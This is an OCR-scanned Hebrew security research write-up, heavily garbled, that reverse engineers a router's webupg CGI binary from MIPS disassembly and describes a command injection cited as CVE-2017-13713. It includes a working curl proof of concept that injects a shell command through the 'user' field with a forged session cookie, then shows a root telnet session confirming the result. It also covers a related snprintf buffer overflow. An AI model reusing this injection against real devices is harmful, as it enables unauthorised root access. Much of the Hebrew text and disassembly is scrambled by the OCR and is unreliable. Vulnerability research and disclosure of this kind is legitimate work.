addiu az, $sp, Bx158+password # password O'RX¥XN1 D"VNYS DNIXI NT'NA ,D|r
addiu a3, $sp, @x158+port # port
s v@, Bx150+first_stack_space{$sp) # dir_ptr
su Zero, l]x15l]+ur1($sp) # Store VWord 'an‘? nn'?W]U HTTP_n .TWJPJJ
Su Zero, l]x15l]+user($sp) # Store Word
Su Zero, l]x15l]+password($sp) # Store UWord
jal UPG_FtpP #J And Link
20 zeFo, Bx150rdir($sp) & Store Hord NN 10197 ANXA AYEaSNl ATNA
1i v1, BxFFFFFFFF # Load Immediate
1w gp, Bx158+gp_value($sp) # Load Word 1 1
beq va, $v1, loc_484D7C # Branch on Equal nl—rnlw nl_’ Tll? DAY NNIX ’Dl?D
lui v@, Gx4ab # Load Upper Immediate
™ NTNNNN DX n'7'>n URL-n Namd DN
) |
Chttp://
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D'X1IPZI N7 TIYNA snprintf-7 FtpParse n'¥71i9nn 1172'7¥ DIVNI9A NX DNAYN L|XON NKRY

DMayin HTTP-N NYpad DNayn 1INIRY DNONI9NY NIXTIA D'WYTIY 1INIX i system?

2270 7V 12T W 19102 IXN'W NITIRD TN 01210 1NN D71, system NYXaI9Y7

AWK LIT D'NI97 YT 7T NI7WY 10X HTTP Nwpa AT'R NIRY? 1D Flow-n NIX 21727 1Tl nyd

.webupg yalpn 7w Main N"¥j1191 DRI

:N1 0"9'¥50 n','z'm 7'101 [N DA

=
move $a@, Sve
jal safe_strcmp # Jump And Link
1a $al1, aPost # “POST"
1w $gp, Bx38+var_28($sp) # Load Word
beqz $uB, loc_403288 § Branch on Zero
lui $aB, Bx48 # Load Upper Immediate
MIFIE]
loc_LBA3288: # Load Address
la $t9, getenv
jalr $t9 ; getenv # Jump And Link Register
addiu $a@, (aContent_type - Bx4B80088) # “CONTENT_TYPE™
1w $gp, Ox38+var_28(3sp) # Load Word
beqz $uB, loc_4B832E4 # Branch on Zero
move $s0, Svo
h 4
la $t9, strncmp # Load Address
1lui $at1, Oxun # Load Upper Immediate
nove $am, $vo |
la $a1, aApplicationXWe ¥ “application/x-uwwu-forn-urlencoded”
jalr $t9 ; strncmp # Jump And Link Register
1i $a2, Bx21 #n
1w $gp, Bx38+var_28($sp) # Load Word
beqz $v@, loc_4B32EC # Branch on Zero
lui a1, Bxu0 # Load Upper Immediate
|
] L}
la $t9, strncmp # Load Address
loc_hO32EC: # Load Immediate| |move $an, $so s
1i 452, 1 la $a1, adultipartFormD i “nultipart/formn-data™
jalr $t9 ; strncmp # Jump And Link Register
1i $az, 8x13 #n
1w $gp, 6x38+var_28($sp) # Load Word
beqz $uB, loc_u4@32F@ # Dranch on Zero
1i $s2, 2 # Load Immediate
11
¥

Content -n 2UNID DX 772 ,HTTP POST 2100 X'N NWPAN DRN [ND NP T2 NIKYY D710 DNRY 10D

.multipart/form data IX application/x-www-form-urlencoded 2101 XIn NW{z22 MaviMy Type

20
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$t9, strtok #t Load Address
$al, $s1 s
$a1, asc_uB5B8B & ;¢
$s55, Ox40 # Load Upper Inmmediate
$su, BxzuB # Load Upper Immediate
$t9 ; strtok #t Jump And Link Register
$s5, aSessionid ¥ “sessionid”
$s4, asc_4B5B98 & “A;T
$gp, 0x3B+var_28($sp) # Load Uord
loc_4B33BC & Branch Always
$s3, 1 # Load Immediate
¥ ¢
s
loc_4833BC: # Load Address
la $t9, strstr
moue $a@, $uB # haystack
bnez $ve, loc_4@3368 i Branch on Mot Zero
mouve $a1, §s5 # needle

FEIE

loc_403368: # Jump And Link Register
jalr $t9 ; strstr

nop

1i $a1, 0x3D #c

1w Sgp, Ox38+var_28(%§sp) # Load Vord

la $t9, strchr # Load address

beqz $vB, loc_4833A8 # Branch on Zero

noue $a0, $vo #s

jalr $t9 ; strchr #t Jump And Link Register
nop

1w $gp, Bx38+var_28($sp) # Load Word

beqz $ve, loc_%4033A8 & Branch on Zero

addiu $a@, $ve, 1 # Add Immediate Unsigned

-~

UPGGGI_CheckAuth # Jump And Link

$gp, Ox38+var_28(3$sp) # Load Word
$s0, $s53, Subd # Move Conditional on Zero

S7'v9 Session XIn HTTP-n nwpaaw Cookie 1UNI92 NAVINY Session-n OXN 7721 |[XON NKY?
IX application/x-www-form-urlencoded NTNNNN DX N7'DN NWPAN DXN D'PTIA [KON NNY
,multipart/form data a10n X'n NWPANI NT'AA .0'RNNAN 719'0N0 IR NNY YT multipart/form data
NYUPA] NN [IDTY YAl DR7YN T 7Y 'wonin 7@ firmware-n NOYA ANTY? NWpdd NI TR

HTTP-n

\EI

loc_48345C: # Load Upper Immediate

1lui 458, DxL42?

1a $t9, get_line_from_post # Load Address

sltiu  $v1, 5al, 8xae1 # Set on Less Than Immediate Unsigned
1i $uld, BzLubp # Load Immediate

mouz $a1, Svl, Su1 ## Move Conditional on Zero

jalr $t9 ; get_line from post # Jump And Link Register
addiu  $%$a@, $s8, (sUarMame - 0x4208080) # Add Immediate Unsigned

lui $a1, Oxh4@ # Load Upper Immediate

1u Sgp, Ox38+var 28(%sp) # Load Word

addiu  $%$a@, $s8, (sUarMame - 0x428880) # haystack
la 4t9, strstr # Load Address

jalr $t9 ; strstr # Jump And Link Register
la %$a1, aMame #f "name="

1w $gp, Ox38+var 28(3sp) # Load Word

beqz v, loc_4683BF8 # Branch on Zero

addiu  $s@, $vd, S # Add Immediate Unsigned
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name DW1 1UNTO W' DXRN T ,application/x-www-form-urlencoded a10n X'n nWpanl nT'Na

.Uxah N7 IR nYTY 'O ,0M1W 0'DYY NN'WAYT7 nHYIN YUK

s =
loc_4835C8: # Load Address
la $t9, stremp
nouve $a0, $s0 # 51
jalr §t9 ; strcmp # Jump And Link Register
addiu $al, (aTFtp_s - Ox408008) & “TFTP"
1w $gp, ©x38+var_28($sp) # Load Word
bnez $uB, loc_4B35FC # Branch on Mot Zero
1ui $a1, oxu0 # Load Upper Immediate
# Load Address
s strcmp
, $s8 # s1
; strocmp # Jump And Link Register
» (aHttp - Bx400086) o "HTTP"
, 0x38evar_28($sp) ¥ Load Word
, loc_uB362k 1 Branch on Hot Zero
, Bx48 # Load Upper Immediate
|1
-
: - N9 'HTTP' 1w -
YOI XIN A'X21I9 AT'RY? 2171, TV7 AXNYAN N9 Y'Y AKM)
L] L] —
e = = FPE
1a 4£t9, UPG_FtpProcCtrl # Load address)| (la St9, UPG_TFtpProcCtrl @ Load Address||la $t9, UPG_HttpProcCtrl # Load Address
b loc_WOGSED B Branch Always 1i Sam, 1 # Load Imnediate b loc_4@3sEC # Branch Aluays
1i 4an, 1 # Load Immediate 11 Sam, 1 # Load Immediate

e = = W=
jax UPGCEI_UploadAuthFile ® Jump And Link| |jal UPEBCGI_Upload TRBSSAUERFile # Jum
oc_4B35EC: 8 Jump And Link Register| nop nop
alr b1 ] loc_WR3RTH # Branch Always OUE ts1, $uo
op nove $51, S0
loc_wagia # Branch flways
ove $s51, §ui ‘

JINXAY NYTINN DY DY197 YOI NTY DX
nYUYINN 71x1

Session Dy HTTP POST aion Ni'n7 Nd™M¥ nwpan ,webupg YaIpaw NITIZON NIt NN Y¥a? 1

.application/x-www-form-urlencoded Nnrinnnn Dy NI'n? 1" Content-Type-n A101 ,7'V91 |'7N

10

.NYRPAN DX NIPYW2E X7 T TcURL DwA 701 wnnwl RNy aw7inn R X7 nioa?

'hacked!!" pIMin Dy '/var' nv'na 'mycode’ X17aW 21N 7V YA NI NN DTN

T HTTP, Telnet, FTP 120 ,0™2121019 [1130 NIYXNXA YT NNAWA? N7ID' NN NIDIN 07'N9 - cURLY
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B C:\Windows\System32icmd.exe

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\cURL>curl -d "name=HTTP&url=http://www.h.com&user=;echo hacked!! >
fvar code; &password=a&port=8&dir=a" --cookie "Cookie: sessionid=786a76ea; auth=ok; i =Sun, 15-May-2112 ©1:45:46 G
MT; langmanulset=yes; sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us" -X POST http://beconnec|
ted.client/cgi-bin/webupg

227N 7V YAl X PRY XTI ,NYRAN DNY7Y NRY

BN Telnet 10.100.102.24

{none) login: root
Password:

BusyBox v1.6.1 (2815-82-89 21:59:83 HKT) Built-in shell (ash)
Enter 'help’' for a list of built-in commands.

# cd fvar

# 1s -1 mycode
-PW-T--r--

# cat mycode
hacked!!

13

1 root 9 Jan 1 13:48 mycode

TNXA NITIRPS Ny T 7V 210 72V gninn NITIEo n¥In yy¥a? anyn PR NN INY Id

.HTTP-n nwpa 7w Donon

N7 v'w 17 0'w1 X ,N7RN DMUNI9] WIN'Y T 7Y 20N 7Y NIMpo yin? T 17 v ,nio

NTHON NX RV B p) Dhaiall snprintf-n N"X21I91 1IY 01T DX NIT9N DX ni722an

GE= n'¥2Io1 nl wnnvnv
iqu:-’
1 B, BeiSBedir{$s) Load Wore
R vl - Yl 2¢ "'opnN IRN ,system
bnez Sul, loc WB4CIE ¥ Branch on Hob Zerc
nop
Buffer-a  Xxmaw  NTI7ON
Y
=
E;z $50, loc_4ouG2y o oranch on H ro ,omn 100 nm'oyn n'n!
lui Sud, Oxub # Load Upper Inmediat
¥ ¥ -2 YXINNY MY 72 i
P = =
b loc_NOGZC ® Branch Aluay:
la S::.l: aConfFig_xml 8 "config.enl"| |loc_d@4C24: i “imag g -T“NJ' n||n‘7 n'"n SyStem
la v, almage_ing
: Y § J Null %70 oun 100 7w
N R nn? (UL .Terminator
S0 Sul, Be1SBedic($sp)
] 1o0n v yioav [1AYN2

Ty

L]

loc_hB4C30:
1w 4un, me1S0+url(3sp)
T

,JMuwa 0N 7w 71amn

.0'n 100-n NN XY

_ | K ]
—— 7277 N1 'R 71ma%7 nom
loc_LOGC3L: Load Byte
b don Ao Mhucen & oranc IMIXY 70'07N0 NIND DX
andi Su1, Sal, OxFF ! AMD T

AW DT .PTN7 D7D X
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HTTP-n nwpaa dir '72'¥9IX 10019 W' n2un'? 12 Ixw D ,HTTPProcCtrl nr¥j7aioa

'MW Y'oIN 11'K XIN MWK MIR NN [N2)
NI'MNWOX 'MYN NNX |2 NNXY2 YN IR 1NN DIMN L dir 10190 12N X7 DRY DX
Y271 ,u¥27 02'21YNn 11NIX NNIX NTIRON 7¢ IRN DX Dopn? ' 271, 'config.xml' IX 'image.img'
NY{P1d v'oIim X7 XN DTN, port DY NINWNY DA NNIT NPT wh.dir 10n1sn DIN DX 1Inxya

NTIPON I DX DoAY NN 7y 1nxya yiapy nx1 A1 0w 0a.80 XN NIy 7Thnn nMa 1w

I'N' DY XXNN7 DAY DNONI9NN TN 72 AWKRD snprintf N'¥a19n XYM 0790 7 75N01 DX
NNYN INXR7 .Y¥17 N¥11 NNIR DTIRON MY 7¢ *711min IR DX 72721 - 2N 7nmn K2
Null %2215 o'un 73 1'n o'unn 100 JIMn 0'OISNN D'INN JOY 72171 - NI D71 1'an DDWN

.Terminator
NNIRY 11" X ,17¢ DIXIN DTIPON NPATH YINKAY? DN 27 29 7D 10 DY 0NRYI IR N1
D'IN ¥ 7¥ ND0I NODN NYWITI ,N7W JWUNNnl N'NDNN NTIz9NN Escaping N7Ivo y¥a7 Doy

.D'IN 25-7 PTN7 NXNIY ATIRoN NIK DX TIMY nn ;' [n'on oy

wnnwn? nx11 nTNa .'1d1 Is, echo, touch, cat :J1a> NI'0*02 NITIR9Y7 @'90Nn NIFAY 71D' AT NIN
X1 qI027W TV ,NNN YAl JIN7 DY 72 0NN 25 9w 0'-chunk-2 21M>7 7212 NP NIDNX NITIRO2

JIN7AN NITIPD DY YN TRX Yl

.CVE-2017-13713 - CVE 190n2 NnnNa IT NIY'as
0'S0I11 NN D

YN NO'PNN NI DX 7'Tan? nan 7y N1pn? N 0'oo0n 0NAT
.WAN-D nvA NT NITRo N i L1
YTNN 270 DX 09XIY Dyd 75 ,RAM-1 Wnwl yTMnaw |1 - 1MXY 1010 7Y AT'NR Ny .2

019'R ANKRY DA MWD NIX QIN7 NN 7Y nyIap NrNR N7AR7 0T RIxn? v D71, pnn

.1 719 9w qwnna 178 02N 2y nny7 non
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nid'o

NN2N NNY 11D 71T X' Embedded M¥ind yT'n NNVAR Y NI'WNN DT 1NN IRNY 10D

ANXNIY DTN 12D NNLAN NIXY97 DN7Y D'YNNWNN DX NIDYINI 2N NiN7ynn

LV INYmIY DYXY NIDoN NI'YAD 1I901'KX7 NoIwNI 2009 NIwn X' 2N 7V nxw Kernel-n noNa

T

NIX NIRYY IWOKX 'RY D 7V qona ,2DM] 17 NINSYY telnet-7 770 yTIin N X7 VIYD 'M' wnnwn

JIMnn nwa? 2N 1IN DYy QIvn NP R NIz ,0ntMine'o NXI DN W'y 0'wnnvnn
NT'NX 2'WN7 N'on' NI7pa N1 ,DN0IN X7 DY (1D 178 MIYEN 2D qIpNYT 000K W' qrInY

.DNO'7N T N'N19N NWIN 7Y
.© Inxy W7nNnn NX Y¥a7 10301 NNINY 10D DNRNIY DN

..N2PUNn - PN

n"annn 7y

NN NIP'TA 7V WAT2 yTNn NNVAN DINNA DI'D 70YNA .N1DIN 'KOTIN ,22 |2 ,'NITA 'R e
AINKY? nomnl

TN DAl niwlIn 7NN pOoyNn 119N 11N1vY Low Level NN9n ,'90> Iy o

NIAIMD2A 'YX NI9Y DNATIA L, NIRD/NYN ,NIRY 77
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NXMP? 0'901 NNl A'vNaran

:Exploit-DB Naxna ni'iyao7 oniwyp

https://www.exploit-db.com/exploits/33500

https://www.exploit-db.com/exploits/42547

:CVE MITRE "NX2 ,NNN2 1AXINY D'-CVE-N NITIN X7 yTn? RILJNT,

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8770

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-13713

:Github "nxa NI 112y 2N 1Ay SDK-7 wyp

https://github.com/frederic/rtI819x-toolchain

:OWASP INX2 ,NNXNIY NIYADN NITIX 901 YTNY7 MWy

https://www.owasp.org/index.php/Testing for Local File Inclusion
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